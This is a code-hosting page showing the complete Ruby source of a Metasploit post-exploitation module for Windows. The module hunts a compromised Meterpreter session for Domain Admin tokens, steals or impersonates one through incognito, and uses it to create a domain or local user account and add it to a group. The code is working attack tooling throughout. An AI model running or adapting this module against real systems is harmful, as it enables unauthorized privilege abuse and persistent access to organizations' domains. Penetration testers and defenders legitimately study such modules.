Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/add_user.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv7include Msf::Post::Windows::Accounts8include Msf::Exploit::Deprecated910moved_from 'post/windows/manage/add_user_domain'1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Windows Manage Add User to the Domain and/or to a Domain Group',17'Description' => %q{18This module adds a user to the Domain and/or to a Domain group. It will19check if sufficient privileges are present for certain actions and run20getprivs for system. If you elevated privs to system, the21SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to22a process that is running as system. If you don't have privs, this script23exits.24},25'License' => MSF_LICENSE,26'Author' => 'Joshua Abraham <jabra[at]rapid7.com>',27'Platform' => [ 'win' ],28'SessionTypes' => [ 'meterpreter' ],29'Compat' => {30'Meterpreter' => {31'Commands' => %w[32incognito_impersonate_token33incognito_list_tokens34stdapi_sys_config_getuid35stdapi_sys_config_steal_token36stdapi_sys_process_get_processes37]38}39},40'Notes' => {41'Stability' => [CRASH_SAFE],42'Reliability' => [],43'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]44}45)46)47register_options(48[49OptString.new('USERNAME', [true, 'The username of the user to add (not-qualified, e.g. BOB)']),50OptString.new('PASSWORD', [false, 'Password of the user']),51OptString.new('GROUP', [false, 'Add user into group, creating it if necessary']),52OptBool.new('ADDTOGROUP', [true, 'Add group if it does not exist', false]),53OptBool.new('ADDTODOMAIN', [true, 'Add to Domain if true, otherwise add locally', true]),54OptString.new('TOKEN', [false, 'Username or PID of the token which will be used (if blank, Domain Admin tokens will be enumerated)', '']),55]56)57end5859def check_result(user_result)60case user_result['return']61when client.railgun.const('ERROR_ACCESS_DENIED')62print_error 'Sorry, you do not have permission to add that user.'63when client.railgun.const('NERR_UserExists')64print_status 'User already exists.'65when client.railgun.const('NERR_GroupExists')66print_status 'Group already exists.'67when client.railgun.const('NERR_UserNotFound')68print_error 'The user name could not be found.'69when client.railgun.const('NERR_InvalidComputer')70print_error 'The server you specified was invalid.'71when client.railgun.const('NERR_NotPrimary')72print_error 'You must be on the primary domain controller to do that.'73when client.railgun.const('NERR_GroupNotFound')74print_error 'The group specified by the groupname parameter does not exist.'75when client.railgun.const('NERR_PasswordTooShort')76print_error 'The password does not appear to be valid (too short, too long, too recent, etc.).'77when client.railgun.const('ERROR_ALIAS_EXISTS')78print_status 'The local group already exists.'79when client.railgun.const('NERR_UserInGroup')80print_status 'The user already belongs to this group.'81when client.railgun.const('ERROR_MORE_DATA')82print_status 'More entries are available. Specify a large enough buffer to receive all entries.'83when client.railgun.const('ERROR_NO_SUCH_ALIAS')84print_status 'The specified account name is not a member of the group.'85when client.railgun.const('ERROR_NO_SUCH_MEMBER')86print_status 'One or more of the members specified do not exist. Therefore, no new members were added.).'87when client.railgun.const('ERROR_MEMBER_IN_ALIAS')88print_status 'One or more of the members specified were already members of the group. No new members were added.'89when client.railgun.const('ERROR_INVALID_MEMBER')90print_status 'One or more of the members cannot be added because their account type is invalid. No new members were added.'91when client.railgun.const('RPC_S_SERVER_UNAVAILABLE')92print_status 'The RPC server is unavailable.'93else94print_error "Unexpectedly returned #{user_result}"95end96end9798## steal domain admin token99## return code: bool100def steal_token(domain_user, domain)101if (session.sys.config.getuid == domain_user) || (domain_user == '')102return true103end104105## load incognito106if !session.incognito107session.core.use('incognito')108end109110if !session.incognito111print_error("Failed to load incognito on #{session.sid} / #{session.session_host}")112return false113end114115## verify domain_user contains a domain116if domain_user.index('\\').nil?117domain_user = "#{domain}\\#{domain_user}"118else119domain_user = ''120end121122## token is a PID123target_pid = ''124if (datastore['TOKEN'] =~ /^\d+$/)125pid = datastore['TOKEN']126127session.sys.process.get_processes.sort_by { rand }.each do |x|128if (pid == x['pid'])129target_pid = pid130end131end132## token is a Domain User133else134session.sys.process.get_processes.sort_by { rand }.each do |x|135if (x['user'] == domain_user) && (target_pid == '')136target_pid = x['pid']137print_status("Found token for #{domain_user}")138end139end140end141142if target_pid != ''143# Do the migration144print_status("Stealing token of process ID #{target_pid}")145session.sys.config.steal_token(target_pid)146if domain_user != ''147domain_user = session.sys.config.getuid148else149print_status("Stealing token of process ID #{target_pid}")150session.sys.config.steal_token(target_pid)151if domain_user != ''152domain_user = session.sys.config.getuid153end154end155156if session.sys.config.getuid != domain_user157print_error "Steal Token Failed (running as: #{session.sys.config.getuid})"158return false159end160else161print_status('No process tokens found.')162if (domain_user != '')163vprint_status('Trying impersonate_token technique...')164session.incognito.incognito_impersonate_token(domain_user)165else166return false167end168end169170return true171end172173## enumerate if the session has a domain admin token on it174## Return: token_found,token_user,current_user; otherwise false175def token_hunter(domain)176## gather data177domain_admins = get_members_from_group('Domain Admins', get_domain('DomainControllerName'))178179## load incognito180if !session.incognito181session.core.use('incognito')182end183184if !session.incognito185print_error("Failed to load incognito on #{session.sid} / #{session.session_host}")186return false187end188189domain_admins.each do |da_user|190## current user191if session.sys.config.getuid == "#{domain}\\#{da_user}"192print_good "Found Domain Admin Token: #{session.sid} - #{session.session_host} - #{da_user} (Current User)"193return true, '', true194end195196## parse delegation tokens197res = session.incognito.incognito_list_tokens(0)198if res199res['delegation'].split("\n").each do |user|200ndom, nusr = user.split('\\')201if !nusr202nusr = ndom203ndom = nil204end205next unless (ndom == domain) && (da_user == nusr)206207sid = session.sid208peer = session.session_host209print_good("Found Domain Admin Token: #{sid} - #{peer} - #{nusr} (Delegation Token)")210return true, nusr, false211end212end213214## parse process list215session.sys.process.get_processes.each do |x|216next unless (x['user'] == "#{domain}\\#{da_user}")217218target_pid = x['pid']219sid = session.sid220peer = session.session_host221report_note(222host: session,223type: 'domain.token.pid',224data: { pid: target_pid, sid: sid, peer: peer, user: da_user },225update: :unique_data226)227print_good("Found Domain Admin Token: #{sid} - #{peer} - #{da_user} (PID: #{target_pid})")228return true, da_user, false229end230end231return false232end233234def local_mode235if datastore['PASSWORD'].nil?236datastore['PASSWORD'] = Rex::Text.rand_text_alphanumeric(16) + Rex::Text.rand_text_numeric(2)237print_status("You have not set up a PASSWORD. The default is '#{datastore['PASSWORD']}'")238end239# Add user240if enum_user.include? datastore['USERNAME']241print_status("User '#{datastore['USERNAME']}' already exists.")242else243result = add_user(datastore['USERNAME'], datastore['PASSWORD'])244if result['return'] == 0245print_good("User '#{datastore['USERNAME']}' was added.")246else247check_result(result)248end249end250251# Add localgroup252if datastore['ADDTOGROUP'] && (!enum_localgroup.include? datastore['GROUP'])253if datastore['GROUP']254result = add_localgroup(datastore['GROUP'])255if result['return'] == 0256print_good("Group '#{datastore['GROUP']}' was added.")257else258check_result(result)259end260else261print_error('Check your group name')262end263end264# Add Member to LocalGroup265if datastore['ADDTOGROUP'] && datastore['GROUP']266result = add_members_localgroup(datastore['GROUP'], datastore['USERNAME'])267if result['return'] == 0268print_good("'#{datastore['USERNAME']}' is now a member of the '#{datastore['GROUP']}' group.")269else270check_result(result)271end272end273end274275def domain_mode276## check domain277server_name = get_domain('DomainControllerName')278if server_name279print_good("Found Domain : #{server_name}")280else281print_error('No DC is available for the specified domain or the domain does not exist. ')282return false283end284if datastore['PASSWORD'].nil?285datastore['PASSWORD'] = Rex::Text.rand_text_alphanumeric(16) + Rex::Text.rand_text_numeric(2)286print_status("You have not set up a PASSWORD. The default is '#{datastore['PASSWORD']}'")287end288## enum domain289domain = primary_domain290if domain.nil?291return292end293294## steal token if neccessary295if datastore['TOKEN'] == ''296token_found, token_user, current_user = token_hunter(domain)297if token_found && current_user == false298datastore['TOKEN'] = token_user299end300end301302## steal token303steal_token_res = steal_token(datastore['TOKEN'], domain)304return if steal_token_res == false305306## Add user to the domain307if (enum_user(server_name).include? datastore['USERNAME'])308print_status("#{datastore['USERNAME']} is already a member of the #{domain} domain")309else310print_status("Adding '#{datastore['USERNAME']}' as a user to the #{domain} domain")311result = add_user(datastore['USERNAME'], datastore['PASSWORD'], server_name)312if result['return'] == 0313print_good("User '#{datastore['USERNAME']}' was added to the #{domain} domain.")314else315check_result(result)316end317end318319## Add group to domain320if datastore['ADDTOGROUP'] && (!enum_group(server_name).include? datastore['GROUP'])321if datastore['GROUP']322result = add_group(datastore['GROUP'], server_name)323if result['return'] == 0324print_good("Group '#{datastore['GROUP']}' was added!")325else326check_result(result)327end328if (!enum_group(server_name).include? datastore['GROUP'])329print_error("The #{datastore['GROUP']} group not exist in the domain. It is possible that the same group name exists for the local group.")330end331else332print_error('Check your group name')333end334end335336if datastore['ADDTOGROUP'] && (enum_group(server_name).include? datastore['GROUP'])337## check if user is already a member of the group338members = get_members_from_group(datastore['GROUP'], server_name)339# Show results if we have any, Error if we don't340if members.include? datastore['USERNAME']341print_status("#{datastore['USERNAME']} is already a member of the '#{datastore['GROUP']}' group")342else343print_status("Adding '#{datastore['USERNAME']}' to the '#{datastore['GROUP']}' Domain Group")344result = add_members_group(datastore['GROUP'], datastore['USERNAME'], server_name)345if result['return'] == 0346print_good("'#{datastore['USERNAME']}' is now a member of the '#{datastore['GROUP']}' group!")347else348check_result(result)349end350end351end352end353354# Run Method for when run command is issued355def run356print_status("Running module on '#{sysinfo['Computer']}'")357if datastore['ADDTODOMAIN']358print_status('Domain Mode')359domain_mode360else361print_status('Local Mode')362local_mode363end364return nil365end366367def primary_domain368dom_info = get_domain('DomainControllerName')369if !dom_info.nil? && dom_info =~ /\./370foo = dom_info.split('.')371domain = foo[1].upcase372else373print_error("Error parsing output from the registry. (#{dom_info})")374end375return domain376end377end378379380